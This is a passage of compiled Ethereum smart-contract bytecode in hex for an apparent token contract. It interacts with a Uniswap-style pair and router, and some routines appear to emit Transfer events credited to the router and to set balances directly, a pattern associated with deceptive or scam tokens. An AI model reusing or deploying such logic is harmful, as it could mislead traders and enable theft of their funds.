6565b15610a32575f80fd5b610a3c8183610fc6565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610a6a9083611022565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abd9086815260200190565b60405180910390a350505050565b6001600160a01b0382165f90815260066020526040812054610aed9083611080565b9392505050565b610afd8161108b565b60075f606085901c5b6001600160a01b0316815260208101919091526040015f20555050565b6008546040516323b872dd60e01b81526001600160a01b038681166004830152918216602482015260448101849052908216906323b872dd906064016020604051808303815f875af1158015610b7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9f919061155d565b506008546040518481526001600160a01b038681169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3604080518481525f6020820181905291810191909152606081018390526001600160a01b03851690737a250d5630b4cf539739df2c5dacb4c659f2488d907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610abd565b600854606083901c5f818152600660209081526040918290205491519182526001600160a01b03909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610cab81611097565b60065f606085901c610b06565b5f805f60085f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2f9190611597565b5091509150836001600160a01b031660085f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db2919061150c565b6001600160a01b031614610dcf57806001600160701b0316610dda565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030815f81518110610e1957610e196114be565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e94919061150c565b81600181518110610ea757610ea76114be565b6001600160a01b0390921660209283029190910190910152919050565b604080516002808252606080830184525f9390929190602083019080368337019050509050610ef384846110b0565b9050805f81518110610f0757610f076114be565b602002602001015160065f6001421180610f1e57505f5b80610f295750426001105b610f33575f610f35565b305b6001600160a01b03166001600160a01b031681526020019081526020015f205f828254610f6291906114e6565b92505081905550805f81518110610f7b57610f7b6114be565b602002602001015191505092915050565b305f90815260066020908152604080832054600583528184206009546001600160a01b031685529092529091205561046984848484611124565b5f828211156110175760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103f9565b5f610dda83856114f9565b5f8061102e83856114e6565b905083811015610aed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f610aed828461153e565b5f6103a882600a6114e6565b5f620186a06110a68382611527565b6103a8919061153e565b6009546040516307c0329d60e21b81526060916001600160a01b031690631f00ca74906110e39086908690600401611626565b5f60405180830381865afa1580156110fd573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610aed919081019061163e565b6009546001600160a01b0316638803dbee85858585611145426104b06114e6565b6040518663ffffffff1660e01b81526004016111659594939291906116ca565b5f604051808303815f875af1158015611180573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526111a7919081019061163e565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146111f7575f80fd5b50565b5f806040838503121561120b575f80fd5b8235611216816111e3565b946020939093013593505050565b5f805f60608486031215611236575f80fd5b8335611241816111e3565b92506020840135611251816111e3565b929592945050506040919091013590565b5f60208284031215611272575f80fd5b8135610aed816111e3565b5f805f6040848603121561128f575f80fd5b833567ffffffffffffffff808211156112a6575f80fd5b818601915086601f8301126112b9575f80fd5b8135818111156112c7575f80fd5b8760208260051b85010111156112db575f80fd5b6020928301989097509590910135949350505050565b5f8060408385031215611302575f80fd5b823561130d816111e3565b9150602083013561131d816111e3565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561136557611365611328565b604052919050565b5f67ffffffffffffffff82111561138657611386611328565b5060051b60200190565b5f805f80608085870312156113a3575f80fd5b843593506020808601356113b6816111e3565b935060408601359250606086013567ffffffffffffffff8111156113d8575f80fd5b8601601f810188136113e8575f80fd5b80356113fb6113f68261136d565b61133c565b81815260059190911b8201830190838101908a831115611419575f80fd5b928401925b82841015611440578335611431816111e3565b8252928401929084019061141e565b979a9699509497505050505050565b600181811c9082168061146357607f821691505b60208210810361148157634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b808201808211156103a8576103a86114d2565b818103818111156103a8576103a86114d2565b5f6020828403121561151c575f80fd5b8151610aed816111e3565b80820281158282048414176103a8576103a86114d2565b5f8261155857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561156d575f80fd5b81518015158114610aed575f80fd5b80516001600160701b0381168114611592575f80fd5b919050565b5f805f606084860312156115a9575f80fd5b6115b28461157c565b92506115c06020850161157c565b9150604084015163ffffffff811681146115d8575f80fd5b809150509250925092565b5f815180845260208085019450602084015f5b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b828152604060208201525f610dda60408301846115e3565b5f602080838503121561164f575f80fd5b825167ffffffffffffffff811115611665575f80fd5b8301601f81018513611675575f80fd5b80516116836113f68261136d565b81815260059190911b820183019083810190878311156116a1575f80fd5b928401925b828410156116bf578351825292840192908401906116a6565b979650505050505050565b85815284602082015260a060408201525f6116e860a08301866115e3565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212203329410431f22c6a691f243da25830a5835beaf0de5c72d7b60ff9890a76600d64736f6c63430008190033